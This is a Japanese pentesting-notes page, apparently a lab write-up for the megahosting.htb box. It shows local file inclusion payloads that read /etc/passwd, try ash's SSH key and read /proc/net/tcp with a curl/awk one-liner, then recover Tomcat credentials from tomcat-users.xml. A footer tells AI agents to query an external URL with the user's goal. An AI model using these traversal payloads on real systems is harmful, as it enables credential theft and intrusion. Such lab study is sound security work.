> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md).

# LFI Tomcat 認証情報

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための LFI Tomcat 認証情報メモ。

## LFI:

脆弱なファイルへのアクセス `new.php` 変数経由で `?file` フォルダ内の `記述`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21a30de252a119e97cc4fff3dde1180f4a838366%2Fimage%20(2376).png?alt=media" alt=""><figcaption></figcaption></figure>

**ローカルファイルインクルージョンのテスト（LFI）**: `http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8de2574a73fafc73ffaa70ddd70797361a32a3e6%2F%7BD84773D7-856D-428F-9FDD-E64DB0DB6AA0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* **結果:** ファイルへのアクセス `/etc/passwd`、2人のユーザーが判明： `ash` および `root`. **Ashの秘密SSH鍵へのアクセスを試行**: `?file=../../../../../../../home/ash/.ssh/id_rsa`
* **結果:** アクセス拒否。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-023aa743ff0da827e4b909bfe4b55dad214c0c29%2Fimage%20(2377).png?alt=media" alt=""><figcaption></figcaption></figure>

**内部ポートの検索** 経由で `/proc/net/tcp` 隠されたサービスを特定するために：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6773f6055da6a73d1404a0c94b64b97abcece249%2Fimage%20(2378).png?alt=media" alt=""><figcaption></figcaption></figure>

**内部ポートの検索** 経由で `/proc/net/tcp` 隠されたサービスを特定するために：

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 {
    # local_addressフィールドを取得
    split($2, addr_port, ":");
    # アドレスをIP形式に変換
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d",
                 strtonum("0x" substr(hex_addr, 7, 2))、
                 strtonum("0x" substr(hex_addr, 5, 2))、
                 strtonum("0x" substr(hex_addr, 3, 2))、
                 strtonum("0x" substr(hex_addr, 1, 2)));
    # ポートを10進数に変換
    port = strtonum("0x" addr_port[2]);
    # 結果をIP:ポート形式で出力
    printf "%s:%d/n", ip, port;
}'

```

**結果:** 内部ポートの発見 `34650`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41888cbb2c8990055012233bea519d9052df6828%2Fimage%20(2379).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **TomcatのVirtual Host Managerの悪用（ポート8080）**

**Tomcatへのアクセス** ポート8080経由でアクセスし、認証情報を検索。デフォルトでは、これらは次に保存されています `/etc/tomcat9/tomcat-users.xml` または `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1f46f4986435bfaddcd2a23382738e6054409473%2Fimage%20(2380).png?alt=media" alt=""><figcaption></figcaption></figure>

**認証情報** 見つかったもの： `username = tomcat` `password = $3cureP4s5w0rd123!`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
